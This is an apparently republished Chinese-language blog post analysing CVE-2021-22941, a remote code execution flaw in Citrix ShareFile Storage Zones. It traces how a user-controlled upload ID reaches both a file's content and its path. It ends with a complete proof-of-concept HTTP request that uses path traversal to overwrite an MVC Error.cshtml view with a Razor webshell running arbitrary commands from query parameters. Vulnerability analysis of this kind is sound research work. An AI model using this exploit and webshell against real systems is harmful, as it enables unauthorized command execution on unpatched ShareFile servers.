4

CVE-2021-22941 Citrix ShareFile Storage RCE

 2 years ago
source link: https://y4er.com/post/citrix-sharefile-cve-2021-22941-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
1 min read

CVE-2021-22941 Citrix ShareFile Storage RCE

2021-10-20 代码审计 CVE

刷推特看到的,分析一下。Citrix的账号直接注册登录就行,可以下载试用。安装就不说了,server2016+iis+.netFramework48。

官方通告说是不正确的资源控制,应该是类似文件上传。

Brettle.Web.NeatUpload.UploadContext.WritePersistFile()中找到疑似出问题的地方

1.png

其中19行str变量为缓存文件目录,真正写入文件的路径为str + this.PostBackID,文件内容为变量s

				string s = string.Format("{0},{1},{2},{3},{4},{5}", new object[]
				{
					this.PostBackID,
					this.ContentLength,
					this.BytesRead,
					num,
					this.StartTime.ToUniversalTime().Ticks,
					DateTime.Now.ToUniversalTime().Ticks
				});

如果this.PostBackID否可控,那么可以跨目录并且内容也是可控。

先来看Brettle.Web.NeatUpload.UploadContext.WritePersistFile()在哪里被使用过,使用dnspy的分析功能向上回溯找到Brettle.Web.NeatUpload.UploadHttpModule.Init(HttpApplication)

2.png

该类继承自IHttpModule接口,用来实现上传功能,在C:\inetpub\wwwroot\Citrix\StorageCenter\web.config也将该模块加入到模块列表中。

3.png

摘出来代码来看

4.png

第一块判断是否是上传的url,第二块判断请求中是否是multipart/form-data结构,如果是multipart/form-data,那么用FilteringWorkerRequest类实例,然后进一步处理请求ProcessRequest()。

到此为止我们清楚这个模块的作用就在于上传文件,那么我们现在来看this.PostBackID是否可控。

跟踪该变量的setter调用,在Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()找到赋值。

5.png

可见text4取决于请求中的

Content-Disposition: form-data; name="text4"; filename="text5"

而经过fieldNameTranslator.FileFieldNameToPostBackID(text4)处理之后其实没发生变化,如果this.PostBackID不为空直接return。

6.png

在FieldNameTranslator这个类的构造函数中this.PostBackID是由请求参数中取得,所以可控。

7.png

其中17行PostBackIDQueryParam参数配置在web.config中,id,uploadid两者皆可用

8.png

  1. UploadHttpModule.Application_BeginRequest()处理上传请求
  2. Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseMultipart()解析http请求
  3. Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()确保正确解析multipart请求
  4. FieldNameTranslator构造函数设置PostBackID值
  5. Brettle.Web.NeatUpload.UploadContext.WritePersistFile()将PostBackID写入文件

9.png

写入文件成功

10.png

这里需要注意两个点Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOrThrow()中需要设置两个参数不为空,否则会直接抛出异常。

11.png

第二个是上传文件大小不得小于4096字节,在Brettle.Web.NeatUpload.FilteringWorkerRequest.CopyUntilBoundary(string, string, string)中,当this._doneReading为true会直接返回false,那么在上级的ParseOrThrow()会直接抛出异常。

12.png

this._doneReading取决于this.tmpBuffer,如下图

13.png

this.tmpBuffer为4096

14.png

所以我们只需要构造的时候大于4096就行了(亲测4096不行,4097可以= =)。

构造shell

因为参数uploadid不仅用于文件内容,而且用于文件路径,那么在windows中文件名是不能出现一些特殊字符的。其中尖括号导致不能写aspx、ashx等webshell,所以这里引入cshtml。

通过覆盖MVC中的现有模板来达到webshell的目的,直接上poc:

POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+a%3D1%3Bint+b%3D2%3Bstring+cmd+%3D+Request.QueryString%5Ba.ToString%28%29%5D%3Bstring+arg+%3D+Request.QueryString%5Bb.ToString%28%29%5D%3BProcess+pro+%3D+new+Process%28%29%3Bpro.StartInfo.FileName+%3D+cmd%3Bpro.StartInfo.Arguments+%3D+arg%3Bpro.StartInfo.UseShellExecute+%3D+false%3Bpro.StartInfo.RedirectStandardError+%3D+true%3Bpro.StartInfo.RedirectStandardInput+%3D+true%3Bpro.StartInfo.RedirectStandardOutput+%3D+true%3Bpro.StartInfo.CreateNoWindow+%3D+true%3Bpro.Start%28%29%3Bstring+s+%3D+pro.StandardOutput.ReadToEnd%28%29%3BResponse.Clear%28%29%3BResponse.Write%28s%29%3BResponse.End%28%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123 HTTP/1.1
Host: 192.168.137.130
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=boundary
Content-Length: 100

--boundary
Content-Disposition: form-data; name="text4"; filename="text5"

4097*A
--boundary--

15.png

over!

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK